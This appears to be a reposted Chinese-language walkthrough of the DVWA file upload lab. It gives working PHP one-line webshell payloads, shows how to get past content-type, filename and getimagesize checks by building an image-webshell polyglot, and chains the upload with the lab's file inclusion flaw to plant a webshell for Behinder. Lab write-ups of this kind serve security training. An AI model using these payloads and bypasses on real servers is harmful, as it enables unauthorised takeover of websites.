low級
對檔案型別沒有任何約束,可直接上傳“一句話木馬”hack.php,連接冰蝎,
一句話木馬 : <?php @eval($_POST['hack']);?>
medium級
源代碼
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) )
可以看到,代碼對檔案的型別和檔案的大小,做了限制,
思路:
將webshell檔案上傳,然后利用burp進行抓包,可以看到服務器判斷檔案型別的方式有兩種,一種是filename,一種是content-type,
如果上傳的是php格式的,可以修改 content-type的值,來繞過上傳限制
如果上傳的是jpg格式,可以修改filename的值,來完成上傳webshell
high級
源代碼
if( ( strtolower( uploaded_ext ) == "jpg" || strtolower( uploaded_ext ) == "jpeg" || strtolower(uploaded_ext ) == "png" ) &&( uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )
可以看到,代碼對檔案后綴,檔案大小,檔案型別,做了限制,這里要注意 getimagesize()函式,該函式可獲取圖片的寬高等具體資訊,因此,只修改檔案后綴是無法繞過的,找一張 jpg格式的圖片,使用 命令 copy img.jpg/b+hack.php/a hack.jpg 其中,img.jpg/b中“b”表示“二進制檔案”,hack.php/a中“a"表示ASCII碼檔案,hack.jpg表示生成的新檔案的名稱,
思路:
將webshell與圖片合并后,即可上傳,但由于不是 .php檔案所以無法執行,此次需要利用檔案包含漏洞,修改一句話木馬:<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST['hack']);?>'); ?> ,再次合成圖片,重新上傳,然后在DVWA的fileinclusion模塊訪問http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///+“上傳檔案所在路徑“,此時在DVWA檔案包含漏洞的路徑下便自動生成了PHP一句話木馬腳本檔案muma.php,到此可使用冰蝎進行連接,
impossible
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/69468.html
標籤:其他
下一篇:絕對路徑和相對路徑
